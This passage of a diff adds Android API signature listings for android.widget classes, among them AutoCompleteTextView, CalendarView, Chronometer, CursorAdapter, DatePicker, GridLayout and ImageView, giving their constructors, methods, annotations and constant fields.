+    method public boolean isPerformingCompletion();
+    method public boolean isPopupShowing();
+    method public void onFilterComplete(int);
+    method public void performCompletion();
+    method protected void performFiltering(CharSequence, int);
+    method public void performValidation();
+    method public final void refreshAutoCompleteResults();
+    method protected void replaceText(CharSequence);
+    method public <T extends android.widget.ListAdapter & android.widget.Filterable> void setAdapter(T);
+    method public void setCompletionHint(CharSequence);
+    method public void setDropDownAnchor(int);
+    method public void setDropDownBackgroundDrawable(android.graphics.drawable.Drawable);
+    method public void setDropDownBackgroundResource(@DrawableRes int);
+    method public void setDropDownHeight(int);
+    method public void setDropDownHorizontalOffset(int);
+    method public void setDropDownVerticalOffset(int);
+    method public void setDropDownWidth(int);
+    method public void setInputMethodMode(int);
+    method public void setListSelection(int);
+    method public void setOnDismissListener(android.widget.AutoCompleteTextView.OnDismissListener);
+    method public void setOnItemClickListener(android.widget.AdapterView.OnItemClickListener);
+    method public void setOnItemSelectedListener(android.widget.AdapterView.OnItemSelectedListener);
+    method public void setText(CharSequence, boolean);
+    method public void setThreshold(int);
+    method public void setValidator(android.widget.AutoCompleteTextView.Validator);
+    method public void showDropDown();
+  }
+
+  public static interface AutoCompleteTextView.OnDismissListener {
+    method public void onDismiss();
+  }
+
+  public static interface AutoCompleteTextView.Validator {
+    method public CharSequence fixText(CharSequence);
+    method public boolean isValid(CharSequence);
+  }
+
+  public abstract class BaseAdapter implements android.widget.ListAdapter android.widget.SpinnerAdapter {
+    ctor public BaseAdapter();
+    method public boolean areAllItemsEnabled();
+    method public android.view.View getDropDownView(int, android.view.View, android.view.ViewGroup);
+    method public int getItemViewType(int);
+    method public int getViewTypeCount();
+    method public boolean hasStableIds();
+    method public boolean isEmpty();
+    method public boolean isEnabled(int);
+    method public void notifyDataSetChanged();
+    method public void notifyDataSetInvalidated();
+    method public void registerDataSetObserver(android.database.DataSetObserver);
+    method public void setAutofillOptions(@Nullable java.lang.CharSequence...);
+    method public void unregisterDataSetObserver(android.database.DataSetObserver);
+  }
+
+  public abstract class BaseExpandableListAdapter implements android.widget.ExpandableListAdapter android.widget.HeterogeneousExpandableList {
+    ctor public BaseExpandableListAdapter();
+    method public boolean areAllItemsEnabled();
+    method public int getChildType(int, int);
+    method public int getChildTypeCount();
+    method public long getCombinedChildId(long, long);
+    method public long getCombinedGroupId(long);
+    method public int getGroupType(int);
+    method public int getGroupTypeCount();
+    method public boolean isEmpty();
+    method public void notifyDataSetChanged();
+    method public void notifyDataSetInvalidated();
+    method public void onGroupCollapsed(int);
+    method public void onGroupExpanded(int);
+    method public void registerDataSetObserver(android.database.DataSetObserver);
+    method public void unregisterDataSetObserver(android.database.DataSetObserver);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class Button extends android.widget.TextView {
+    ctor public Button(android.content.Context);
+    ctor public Button(android.content.Context, android.util.AttributeSet);
+    ctor public Button(android.content.Context, android.util.AttributeSet, int);
+    ctor public Button(android.content.Context, android.util.AttributeSet, int, int);
+  }
+
+  public class CalendarView extends android.widget.FrameLayout {
+    ctor public CalendarView(@NonNull android.content.Context);
+    ctor public CalendarView(@NonNull android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public CalendarView(@NonNull android.content.Context, @Nullable android.util.AttributeSet, @AttrRes int);
+    ctor public CalendarView(@NonNull android.content.Context, @Nullable android.util.AttributeSet, @AttrRes int, @StyleRes int);
+    method public long getDate();
+    method @StyleRes public int getDateTextAppearance();
+    method public int getFirstDayOfWeek();
+    method @Deprecated @ColorInt public int getFocusedMonthDateColor();
+    method public long getMaxDate();
+    method public long getMinDate();
+    method @Deprecated public android.graphics.drawable.Drawable getSelectedDateVerticalBar();
+    method @Deprecated @ColorInt public int getSelectedWeekBackgroundColor();
+    method @Deprecated public boolean getShowWeekNumber();
+    method @Deprecated public int getShownWeekCount();
+    method @Deprecated @ColorInt public int getUnfocusedMonthDateColor();
+    method @StyleRes public int getWeekDayTextAppearance();
+    method @Deprecated @ColorInt public int getWeekNumberColor();
+    method @Deprecated @ColorInt public int getWeekSeparatorLineColor();
+    method public void setDate(long);
+    method public void setDate(long, boolean, boolean);
+    method public void setDateTextAppearance(@StyleRes int);
+    method public void setFirstDayOfWeek(int);
+    method @Deprecated public void setFocusedMonthDateColor(@ColorInt int);
+    method public void setMaxDate(long);
+    method public void setMinDate(long);
+    method public void setOnDateChangeListener(android.widget.CalendarView.OnDateChangeListener);
+    method @Deprecated public void setSelectedDateVerticalBar(@DrawableRes int);
+    method @Deprecated public void setSelectedDateVerticalBar(android.graphics.drawable.Drawable);
+    method @Deprecated public void setSelectedWeekBackgroundColor(@ColorInt int);
+    method @Deprecated public void setShowWeekNumber(boolean);
+    method @Deprecated public void setShownWeekCount(int);
+    method @Deprecated public void setUnfocusedMonthDateColor(@ColorInt int);
+    method public void setWeekDayTextAppearance(@StyleRes int);
+    method @Deprecated public void setWeekNumberColor(@ColorInt int);
+    method @Deprecated public void setWeekSeparatorLineColor(@ColorInt int);
+  }
+
+  public static interface CalendarView.OnDateChangeListener {
+    method public void onSelectedDayChange(@NonNull android.widget.CalendarView, int, int, int);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class CheckBox extends android.widget.CompoundButton {
+    ctor public CheckBox(android.content.Context);
+    ctor public CheckBox(android.content.Context, android.util.AttributeSet);
+    ctor public CheckBox(android.content.Context, android.util.AttributeSet, int);
+    ctor public CheckBox(android.content.Context, android.util.AttributeSet, int, int);
+  }
+
+  public interface Checkable {
+    method public boolean isChecked();
+    method public void setChecked(boolean);
+    method public void toggle();
+  }
+
+  public class CheckedTextView extends android.widget.TextView implements android.widget.Checkable {
+    ctor public CheckedTextView(android.content.Context);
+    ctor public CheckedTextView(android.content.Context, android.util.AttributeSet);
+    ctor public CheckedTextView(android.content.Context, android.util.AttributeSet, int);
+    ctor public CheckedTextView(android.content.Context, android.util.AttributeSet, int, int);
+    method public android.graphics.drawable.Drawable getCheckMarkDrawable();
+    method @Nullable public android.graphics.BlendMode getCheckMarkTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getCheckMarkTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getCheckMarkTintMode();
+    method public boolean isChecked();
+    method public void setCheckMarkDrawable(@DrawableRes int);
+    method public void setCheckMarkDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void setCheckMarkTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setCheckMarkTintList(@Nullable android.content.res.ColorStateList);
+    method public void setCheckMarkTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setChecked(boolean);
+    method public void toggle();
+  }
+
+  @android.widget.RemoteViews.RemoteView public class Chronometer extends android.widget.TextView {
+    ctor public Chronometer(android.content.Context);
+    ctor public Chronometer(android.content.Context, android.util.AttributeSet);
+    ctor public Chronometer(android.content.Context, android.util.AttributeSet, int);
+    ctor public Chronometer(android.content.Context, android.util.AttributeSet, int, int);
+    method public long getBase();
+    method public String getFormat();
+    method public android.widget.Chronometer.OnChronometerTickListener getOnChronometerTickListener();
+    method public boolean isCountDown();
+    method public boolean isTheFinalCountDown();
+    method public void setBase(long);
+    method public void setCountDown(boolean);
+    method public void setFormat(String);
+    method public void setOnChronometerTickListener(android.widget.Chronometer.OnChronometerTickListener);
+    method public void start();
+    method public void stop();
+  }
+
+  public static interface Chronometer.OnChronometerTickListener {
+    method public void onChronometerTick(android.widget.Chronometer);
+  }
+
+  public abstract class CompoundButton extends android.widget.Button implements android.widget.Checkable {
+    ctor public CompoundButton(android.content.Context);
+    ctor public CompoundButton(android.content.Context, android.util.AttributeSet);
+    ctor public CompoundButton(android.content.Context, android.util.AttributeSet, int);
+    ctor public CompoundButton(android.content.Context, android.util.AttributeSet, int, int);
+    method @Nullable public android.graphics.drawable.Drawable getButtonDrawable();
+    method @Nullable public android.graphics.BlendMode getButtonTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getButtonTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getButtonTintMode();
+    method public boolean isChecked();
+    method public void setButtonDrawable(@DrawableRes int);
+    method public void setButtonDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void setButtonIcon(@Nullable android.graphics.drawable.Icon);
+    method public void setButtonTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setButtonTintList(@Nullable android.content.res.ColorStateList);
+    method public void setButtonTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setChecked(boolean);
+    method public void setOnCheckedChangeListener(@Nullable android.widget.CompoundButton.OnCheckedChangeListener);
+    method public void toggle();
+  }
+
+  public static interface CompoundButton.OnCheckedChangeListener {
+    method public void onCheckedChanged(android.widget.CompoundButton, boolean);
+  }
+
+  public abstract class CursorAdapter extends android.widget.BaseAdapter implements android.widget.Filterable android.widget.ThemedSpinnerAdapter {
+    ctor @Deprecated public CursorAdapter(android.content.Context, android.database.Cursor);
+    ctor public CursorAdapter(android.content.Context, android.database.Cursor, boolean);
+    ctor public CursorAdapter(android.content.Context, android.database.Cursor, int);
+    method public abstract void bindView(android.view.View, android.content.Context, android.database.Cursor);
+    method public void changeCursor(android.database.Cursor);
+    method public CharSequence convertToString(android.database.Cursor);
+    method public int getCount();
+    method public android.database.Cursor getCursor();
+    method public android.content.res.Resources.Theme getDropDownViewTheme();
+    method public android.widget.Filter getFilter();
+    method public android.widget.FilterQueryProvider getFilterQueryProvider();
+    method public Object getItem(int);
+    method public long getItemId(int);
+    method public android.view.View getView(int, android.view.View, android.view.ViewGroup);
+    method @Deprecated protected void init(android.content.Context, android.database.Cursor, boolean);
+    method public android.view.View newDropDownView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
+    method public abstract android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
+    method protected void onContentChanged();
+    method @WorkerThread public android.database.Cursor runQueryOnBackgroundThread(CharSequence);
+    method public void setDropDownViewTheme(android.content.res.Resources.Theme);
+    method public void setFilterQueryProvider(android.widget.FilterQueryProvider);
+    method public android.database.Cursor swapCursor(android.database.Cursor);
+    field @Deprecated public static final int FLAG_AUTO_REQUERY = 1; // 0x1
+    field public static final int FLAG_REGISTER_CONTENT_OBSERVER = 2; // 0x2
+  }
+
+  public abstract class CursorTreeAdapter extends android.widget.BaseExpandableListAdapter implements android.widget.Filterable {
+    ctor public CursorTreeAdapter(android.database.Cursor, android.content.Context);
+    ctor public CursorTreeAdapter(android.database.Cursor, android.content.Context, boolean);
+    method protected abstract void bindChildView(android.view.View, android.content.Context, android.database.Cursor, boolean);
+    method protected abstract void bindGroupView(android.view.View, android.content.Context, android.database.Cursor, boolean);
+    method public void changeCursor(android.database.Cursor);
+    method public String convertToString(android.database.Cursor);
+    method public android.database.Cursor getChild(int, int);
+    method public long getChildId(int, int);
+    method public android.view.View getChildView(int, int, boolean, android.view.View, android.view.ViewGroup);
+    method public int getChildrenCount(int);
+    method protected abstract android.database.Cursor getChildrenCursor(android.database.Cursor);
+    method public android.database.Cursor getCursor();
+    method public android.widget.Filter getFilter();
+    method public android.widget.FilterQueryProvider getFilterQueryProvider();
+    method public android.database.Cursor getGroup(int);
+    method public int getGroupCount();
+    method public long getGroupId(int);
+    method public android.view.View getGroupView(int, boolean, android.view.View, android.view.ViewGroup);
+    method public boolean hasStableIds();
+    method public boolean isChildSelectable(int, int);
+    method protected abstract android.view.View newChildView(android.content.Context, android.database.Cursor, boolean, android.view.ViewGroup);
+    method protected abstract android.view.View newGroupView(android.content.Context, android.database.Cursor, boolean, android.view.ViewGroup);
+    method public void notifyDataSetChanged(boolean);
+    method public android.database.Cursor runQueryOnBackgroundThread(CharSequence);
+    method public void setChildrenCursor(int, android.database.Cursor);
+    method public void setFilterQueryProvider(android.widget.FilterQueryProvider);
+    method public void setGroupCursor(android.database.Cursor);
+  }
+
+  public class DatePicker extends android.widget.FrameLayout {
+    ctor public DatePicker(android.content.Context);
+    ctor public DatePicker(android.content.Context, android.util.AttributeSet);
+    ctor public DatePicker(android.content.Context, android.util.AttributeSet, int);
+    ctor public DatePicker(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated public android.widget.CalendarView getCalendarView();
+    method @Deprecated public boolean getCalendarViewShown();
+    method public int getDayOfMonth();
+    method public int getFirstDayOfWeek();
+    method public long getMaxDate();
+    method public long getMinDate();
+    method public int getMonth();
+    method @Deprecated public boolean getSpinnersShown();
+    method public int getYear();
+    method public void init(int, int, int, android.widget.DatePicker.OnDateChangedListener);
+    method @Deprecated public void setCalendarViewShown(boolean);
+    method public void setFirstDayOfWeek(int);
+    method public void setMaxDate(long);
+    method public void setMinDate(long);
+    method public void setOnDateChangedListener(android.widget.DatePicker.OnDateChangedListener);
+    method @Deprecated public void setSpinnersShown(boolean);
+    method public void updateDate(int, int, int);
+  }
+
+  public static interface DatePicker.OnDateChangedListener {
+    method public void onDateChanged(android.widget.DatePicker, int, int, int);
+  }
+
+  @Deprecated public class DialerFilter extends android.widget.RelativeLayout {
+    ctor @Deprecated public DialerFilter(android.content.Context);
+    ctor @Deprecated public DialerFilter(android.content.Context, android.util.AttributeSet);
+    method @Deprecated public void append(String);
+    method @Deprecated public void clearText();
+    method @Deprecated public CharSequence getDigits();
+    method @Deprecated public CharSequence getFilterText();
+    method @Deprecated public CharSequence getLetters();
+    method @Deprecated public int getMode();
+    method @Deprecated public boolean isQwertyKeyboard();
+    method @Deprecated protected void onModeChange(int, int);
+    method @Deprecated public void removeFilterWatcher(android.text.TextWatcher);
+    method @Deprecated public void setDigitsWatcher(android.text.TextWatcher);
+    method @Deprecated public void setFilterWatcher(android.text.TextWatcher);
+    method @Deprecated public void setLettersWatcher(android.text.TextWatcher);
+    method @Deprecated public void setMode(int);
+    field @Deprecated public static final int DIGITS_AND_LETTERS = 1; // 0x1
+    field @Deprecated public static final int DIGITS_AND_LETTERS_NO_DIGITS = 2; // 0x2
+    field @Deprecated public static final int DIGITS_AND_LETTERS_NO_LETTERS = 3; // 0x3
+    field @Deprecated public static final int DIGITS_ONLY = 4; // 0x4
+    field @Deprecated public static final int LETTERS_ONLY = 5; // 0x5
+  }
+
+  @Deprecated public class DigitalClock extends android.widget.TextView {
+    ctor @Deprecated public DigitalClock(android.content.Context);
+    ctor @Deprecated public DigitalClock(android.content.Context, android.util.AttributeSet);
+  }
+
+  public class EdgeEffect {
+    ctor public EdgeEffect(android.content.Context);
+    ctor public EdgeEffect(@NonNull android.content.Context, @Nullable android.util.AttributeSet);
+    method public boolean draw(android.graphics.Canvas);
+    method public void finish();
+    method @Nullable public android.graphics.BlendMode getBlendMode();
+    method @ColorInt public int getColor();
+    method public float getDistance();
+    method public int getMaxHeight();
+    method public boolean isFinished();
+    method public void onAbsorb(int);
+    method public void onPull(float);
+    method public void onPull(float, float);
+    method public float onPullDistance(float, float);
+    method public void onRelease();
+    method public void setBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setColor(@ColorInt int);
+    method public void setSize(int, int);
+    field public static final android.graphics.BlendMode DEFAULT_BLEND_MODE;
+  }
+
+  public class EditText extends android.widget.TextView {
+    ctor public EditText(android.content.Context);
+    ctor public EditText(android.content.Context, android.util.AttributeSet);
+    ctor public EditText(android.content.Context, android.util.AttributeSet, int);
+    ctor public EditText(android.content.Context, android.util.AttributeSet, int, int);
+    method public void extendSelection(int);
+    method public android.text.Editable getText();
+    method public void selectAll();
+    method public void setSelection(int, int);
+    method public void setSelection(int);
+  }
+
+  public interface ExpandableListAdapter {
+    method public boolean areAllItemsEnabled();
+    method public Object getChild(int, int);
+    method public long getChildId(int, int);
+    method public android.view.View getChildView(int, int, boolean, android.view.View, android.view.ViewGroup);
+    method public int getChildrenCount(int);
+    method public long getCombinedChildId(long, long);
+    method public long getCombinedGroupId(long);
+    method public Object getGroup(int);
+    method public int getGroupCount();
+    method public long getGroupId(int);
+    method public android.view.View getGroupView(int, boolean, android.view.View, android.view.ViewGroup);
+    method public boolean hasStableIds();
+    method public boolean isChildSelectable(int, int);
+    method public boolean isEmpty();
+    method public void onGroupCollapsed(int);
+    method public void onGroupExpanded(int);
+    method public void registerDataSetObserver(android.database.DataSetObserver);
+    method public void unregisterDataSetObserver(android.database.DataSetObserver);
+  }
+
+  public class ExpandableListView extends android.widget.ListView {
+    ctor public ExpandableListView(android.content.Context);
+    ctor public ExpandableListView(android.content.Context, android.util.AttributeSet);
+    ctor public ExpandableListView(android.content.Context, android.util.AttributeSet, int);
+    ctor public ExpandableListView(android.content.Context, android.util.AttributeSet, int, int);
+    method public boolean collapseGroup(int);
+    method public boolean expandGroup(int);
+    method public boolean expandGroup(int, boolean);
+    method public android.widget.ExpandableListAdapter getExpandableListAdapter();
+    method public long getExpandableListPosition(int);
+    method public int getFlatListPosition(long);
+    method public static int getPackedPositionChild(long);
+    method public static long getPackedPositionForChild(int, int);
+    method public static long getPackedPositionForGroup(int);
+    method public static int getPackedPositionGroup(long);
+    method public static int getPackedPositionType(long);
+    method public long getSelectedId();
+    method public long getSelectedPosition();
+    method public boolean isGroupExpanded(int);
+    method public void setAdapter(android.widget.ExpandableListAdapter);
+    method public void setChildDivider(android.graphics.drawable.Drawable);
+    method public void setChildIndicator(android.graphics.drawable.Drawable);
+    method public void setChildIndicatorBounds(int, int);
+    method public void setChildIndicatorBoundsRelative(int, int);
+    method public void setGroupIndicator(android.graphics.drawable.Drawable);
+    method public void setIndicatorBounds(int, int);
+    method public void setIndicatorBoundsRelative(int, int);
+    method public void setOnChildClickListener(android.widget.ExpandableListView.OnChildClickListener);
+    method public void setOnGroupClickListener(android.widget.ExpandableListView.OnGroupClickListener);
+    method public void setOnGroupCollapseListener(android.widget.ExpandableListView.OnGroupCollapseListener);
+    method public void setOnGroupExpandListener(android.widget.ExpandableListView.OnGroupExpandListener);
+    method public boolean setSelectedChild(int, int, boolean);
+    method public void setSelectedGroup(int);
+    field public static final int CHILD_INDICATOR_INHERIT = -1; // 0xffffffff
+    field public static final int PACKED_POSITION_TYPE_CHILD = 1; // 0x1
+    field public static final int PACKED_POSITION_TYPE_GROUP = 0; // 0x0
+    field public static final int PACKED_POSITION_TYPE_NULL = 2; // 0x2
+    field public static final long PACKED_POSITION_VALUE_NULL = 4294967295L; // 0xffffffffL
+  }
+
+  public static class ExpandableListView.ExpandableListContextMenuInfo implements android.view.ContextMenu.ContextMenuInfo {
+    ctor public ExpandableListView.ExpandableListContextMenuInfo(android.view.View, long, long);
+    field public long id;
+    field public long packedPosition;
+    field public android.view.View targetView;
+  }
+
+  public static interface ExpandableListView.OnChildClickListener {
+    method public boolean onChildClick(android.widget.ExpandableListView, android.view.View, int, int, long);
+  }
+
+  public static interface ExpandableListView.OnGroupClickListener {
+    method public boolean onGroupClick(android.widget.ExpandableListView, android.view.View, int, long);
+  }
+
+  public static interface ExpandableListView.OnGroupCollapseListener {
+    method public void onGroupCollapse(int);
+  }
+
+  public static interface ExpandableListView.OnGroupExpandListener {
+    method public void onGroupExpand(int);
+  }
+
+  public abstract class Filter {
+    ctor public Filter();
+    method public CharSequence convertResultToString(Object);
+    method public final void filter(CharSequence);
+    method public final void filter(CharSequence, android.widget.Filter.FilterListener);
+    method protected abstract android.widget.Filter.FilterResults performFiltering(CharSequence);
+    method protected abstract void publishResults(CharSequence, android.widget.Filter.FilterResults);
+  }
+
+  public static interface Filter.FilterListener {
+    method public void onFilterComplete(int);
+  }
+
+  protected static class Filter.FilterResults {
+    ctor public Filter.FilterResults();
+    field public int count;
+    field public Object values;
+  }
+
+  public interface FilterQueryProvider {
+    method public android.database.Cursor runQuery(CharSequence);
+  }
+
+  public interface Filterable {
+    method public android.widget.Filter getFilter();
+  }
+
+  @android.widget.RemoteViews.RemoteView public class FrameLayout extends android.view.ViewGroup {
+    ctor public FrameLayout(@NonNull android.content.Context);
+    ctor public FrameLayout(@NonNull android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public FrameLayout(@NonNull android.content.Context, @Nullable android.util.AttributeSet, @AttrRes int);
+    ctor public FrameLayout(@NonNull android.content.Context, @Nullable android.util.AttributeSet, @AttrRes int, @StyleRes int);
+    method protected android.widget.FrameLayout.LayoutParams generateDefaultLayoutParams();
+    method public android.widget.FrameLayout.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method @Deprecated public boolean getConsiderGoneChildrenWhenMeasuring();
+    method public boolean getMeasureAllChildren();
+    method public void setMeasureAllChildren(boolean);
+  }
+
+  public static class FrameLayout.LayoutParams extends android.view.ViewGroup.MarginLayoutParams {
+    ctor public FrameLayout.LayoutParams(@NonNull android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public FrameLayout.LayoutParams(int, int);
+    ctor public FrameLayout.LayoutParams(int, int, int);
+    ctor public FrameLayout.LayoutParams(@NonNull android.view.ViewGroup.LayoutParams);
+    ctor public FrameLayout.LayoutParams(@NonNull android.view.ViewGroup.MarginLayoutParams);
+    ctor public FrameLayout.LayoutParams(@NonNull android.widget.FrameLayout.LayoutParams);
+    field public static final int UNSPECIFIED_GRAVITY = -1; // 0xffffffff
+    field public int gravity;
+  }
+
+  @Deprecated public class Gallery extends android.widget.AbsSpinner implements android.view.GestureDetector.OnGestureListener {
+    ctor @Deprecated public Gallery(android.content.Context);
+    ctor @Deprecated public Gallery(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public Gallery(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public Gallery(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated public boolean onDown(android.view.MotionEvent);
+    method @Deprecated public boolean onFling(android.view.MotionEvent, android.view.MotionEvent, float, float);
+    method @Deprecated public void onLongPress(@NonNull android.view.MotionEvent);
+    method @Deprecated public boolean onScroll(android.view.MotionEvent, android.view.MotionEvent, float, float);
+    method @Deprecated public void onShowPress(android.view.MotionEvent);
+    method @Deprecated public boolean onSingleTapUp(android.view.MotionEvent);
+    method @Deprecated public void setAnimationDuration(int);
+    method @Deprecated public void setCallbackDuringFling(boolean);
+    method @Deprecated public void setGravity(int);
+    method @Deprecated public void setSpacing(int);
+    method @Deprecated public void setUnselectedAlpha(float);
+  }
+
+  @Deprecated public static class Gallery.LayoutParams extends android.view.ViewGroup.LayoutParams {
+    ctor @Deprecated public Gallery.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public Gallery.LayoutParams(int, int);
+    ctor @Deprecated public Gallery.LayoutParams(android.view.ViewGroup.LayoutParams);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class GridLayout extends android.view.ViewGroup {
+    ctor public GridLayout(android.content.Context);
+    ctor public GridLayout(android.content.Context, android.util.AttributeSet);
+    ctor public GridLayout(android.content.Context, android.util.AttributeSet, int);
+    ctor public GridLayout(android.content.Context, android.util.AttributeSet, int, int);
+    method protected android.widget.GridLayout.LayoutParams generateDefaultLayoutParams();
+    method public android.widget.GridLayout.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method protected android.widget.GridLayout.LayoutParams generateLayoutParams(android.view.ViewGroup.LayoutParams);
+    method public int getAlignmentMode();
+    method public int getColumnCount();
+    method public int getOrientation();
+    method public int getRowCount();
+    method public boolean getUseDefaultMargins();
+    method public boolean isColumnOrderPreserved();
+    method public boolean isRowOrderPreserved();
+    method public void setAlignmentMode(int);
+    method public void setColumnCount(int);
+    method public void setColumnOrderPreserved(boolean);
+    method public void setOrientation(int);
+    method public void setRowCount(int);
+    method public void setRowOrderPreserved(boolean);
+    method public void setUseDefaultMargins(boolean);
+    method public static android.widget.GridLayout.Spec spec(int, int, android.widget.GridLayout.Alignment, float);
+    method public static android.widget.GridLayout.Spec spec(int, android.widget.GridLayout.Alignment, float);
+    method public static android.widget.GridLayout.Spec spec(int, int, float);
+    method public static android.widget.GridLayout.Spec spec(int, float);
+    method public static android.widget.GridLayout.Spec spec(int, int, android.widget.GridLayout.Alignment);
+    method public static android.widget.GridLayout.Spec spec(int, android.widget.GridLayout.Alignment);
+    method public static android.widget.GridLayout.Spec spec(int, int);
+    method public static android.widget.GridLayout.Spec spec(int);
+    field public static final int ALIGN_BOUNDS = 0; // 0x0
+    field public static final int ALIGN_MARGINS = 1; // 0x1
+    field public static final android.widget.GridLayout.Alignment BASELINE;
+    field public static final android.widget.GridLayout.Alignment BOTTOM;
+    field public static final android.widget.GridLayout.Alignment CENTER;
+    field public static final android.widget.GridLayout.Alignment END;
+    field public static final android.widget.GridLayout.Alignment FILL;
+    field public static final int HORIZONTAL = 0; // 0x0
+    field public static final android.widget.GridLayout.Alignment LEFT;
+    field public static final android.widget.GridLayout.Alignment RIGHT;
+    field public static final android.widget.GridLayout.Alignment START;
+    field public static final android.widget.GridLayout.Alignment TOP;
+    field public static final int UNDEFINED = -2147483648; // 0x80000000
+    field public static final int VERTICAL = 1; // 0x1
+  }
+
+  public abstract static class GridLayout.Alignment {
+  }
+
+  public static class GridLayout.LayoutParams extends android.view.ViewGroup.MarginLayoutParams {
+    ctor public GridLayout.LayoutParams(android.widget.GridLayout.Spec, android.widget.GridLayout.Spec);
+    ctor public GridLayout.LayoutParams();
+    ctor public GridLayout.LayoutParams(android.view.ViewGroup.LayoutParams);
+    ctor public GridLayout.LayoutParams(android.view.ViewGroup.MarginLayoutParams);
+    ctor public GridLayout.LayoutParams(android.widget.GridLayout.LayoutParams);
+    ctor public GridLayout.LayoutParams(android.content.Context, android.util.AttributeSet);
+    method public void setGravity(int);
+    field public android.widget.GridLayout.Spec columnSpec;
+    field public android.widget.GridLayout.Spec rowSpec;
+  }
+
+  public static class GridLayout.Spec {
+  }
+
+  @android.widget.RemoteViews.RemoteView public class GridView extends android.widget.AbsListView {
+    ctor public GridView(android.content.Context);
+    ctor public GridView(android.content.Context, android.util.AttributeSet);
+    ctor public GridView(android.content.Context, android.util.AttributeSet, int);
+    ctor public GridView(android.content.Context, android.util.AttributeSet, int, int);
+    method public android.widget.ListAdapter getAdapter();
+    method public int getColumnWidth();
+    method public int getGravity();
+    method public int getHorizontalSpacing();
+    method public int getNumColumns();
+    method public int getRequestedColumnWidth();
+    method public int getRequestedHorizontalSpacing();
+    method public int getStretchMode();
+    method public int getVerticalSpacing();
+    method public void setColumnWidth(int);
+    method public void setGravity(int);
+    method public void setHorizontalSpacing(int);
+    method public void setNumColumns(int);
+    method public void setSelection(int);
+    method public void setStretchMode(int);
+    method public void setVerticalSpacing(int);
+    method public void smoothScrollByOffset(int);
+    field public static final int AUTO_FIT = -1; // 0xffffffff
+    field public static final int NO_STRETCH = 0; // 0x0
+    field public static final int STRETCH_COLUMN_WIDTH = 2; // 0x2
+    field public static final int STRETCH_SPACING = 1; // 0x1
+    field public static final int STRETCH_SPACING_UNIFORM = 3; // 0x3
+  }
+
+  public class HeaderViewListAdapter implements android.widget.Filterable android.widget.WrapperListAdapter {
+    ctor public HeaderViewListAdapter(java.util.ArrayList<android.widget.ListView.FixedViewInfo>, java.util.ArrayList<android.widget.ListView.FixedViewInfo>, android.widget.ListAdapter);
+    method public boolean areAllItemsEnabled();
+    method public int getCount();
+    method public android.widget.Filter getFilter();
+    method public int getFootersCount();
+    method public int getHeadersCount();
+    method public Object getItem(int);
+    method public long getItemId(int);
+    method public int getItemViewType(int);
+    method public android.view.View getView(int, android.view.View, android.view.ViewGroup);
+    method public int getViewTypeCount();
+    method public android.widget.ListAdapter getWrappedAdapter();
+    method public boolean hasStableIds();
+    method public boolean isEmpty();
+    method public boolean isEnabled(int);
+    method public void registerDataSetObserver(android.database.DataSetObserver);
+    method public boolean removeFooter(android.view.View);
+    method public boolean removeHeader(android.view.View);
+    method public void unregisterDataSetObserver(android.database.DataSetObserver);
+  }
+
+  public interface HeterogeneousExpandableList {
+    method public int getChildType(int, int);
+    method public int getChildTypeCount();
+    method public int getGroupType(int);
+    method public int getGroupTypeCount();
+  }
+
+  public class HorizontalScrollView extends android.widget.FrameLayout {
+    ctor public HorizontalScrollView(android.content.Context);
+    ctor public HorizontalScrollView(android.content.Context, android.util.AttributeSet);
+    ctor public HorizontalScrollView(android.content.Context, android.util.AttributeSet, int);
+    ctor public HorizontalScrollView(android.content.Context, android.util.AttributeSet, int, int);
+    method public boolean arrowScroll(int);
+    method protected int computeScrollDeltaToGetChildRectOnScreen(android.graphics.Rect);
+    method public boolean executeKeyEvent(android.view.KeyEvent);
+    method public void fling(int);
+    method public boolean fullScroll(int);
+    method @ColorInt public int getLeftEdgeEffectColor();
+    method public int getMaxScrollAmount();
+    method @ColorInt public int getRightEdgeEffectColor();
+    method public boolean isFillViewport();
+    method public boolean isSmoothScrollingEnabled();
+    method public boolean pageScroll(int);
+    method public void setEdgeEffectColor(@ColorInt int);
+    method public void setFillViewport(boolean);
+    method public void setLeftEdgeEffectColor(@ColorInt int);
+    method public void setRightEdgeEffectColor(@ColorInt int);
+    method public void setSmoothScrollingEnabled(boolean);
+    method public final void smoothScrollBy(int, int);
+    method public final void smoothScrollTo(int, int);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class ImageButton extends android.widget.ImageView {
+    ctor public ImageButton(android.content.Context);
+    ctor public ImageButton(android.content.Context, android.util.AttributeSet);
+    ctor public ImageButton(android.content.Context, android.util.AttributeSet, int);
+    ctor public ImageButton(android.content.Context, android.util.AttributeSet, int, int);
+  }
+
+  public class ImageSwitcher extends android.widget.ViewSwitcher {
+    ctor public ImageSwitcher(android.content.Context);
+    ctor public ImageSwitcher(android.content.Context, android.util.AttributeSet);
+    method public void setImageDrawable(android.graphics.drawable.Drawable);
+    method public void setImageResource(@DrawableRes int);
+    method public void setImageURI(android.net.Uri);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class ImageView extends android.view.View {
+    ctor public ImageView(android.content.Context);
+    ctor public ImageView(android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public ImageView(android.content.Context, @Nullable android.util.AttributeSet, int);
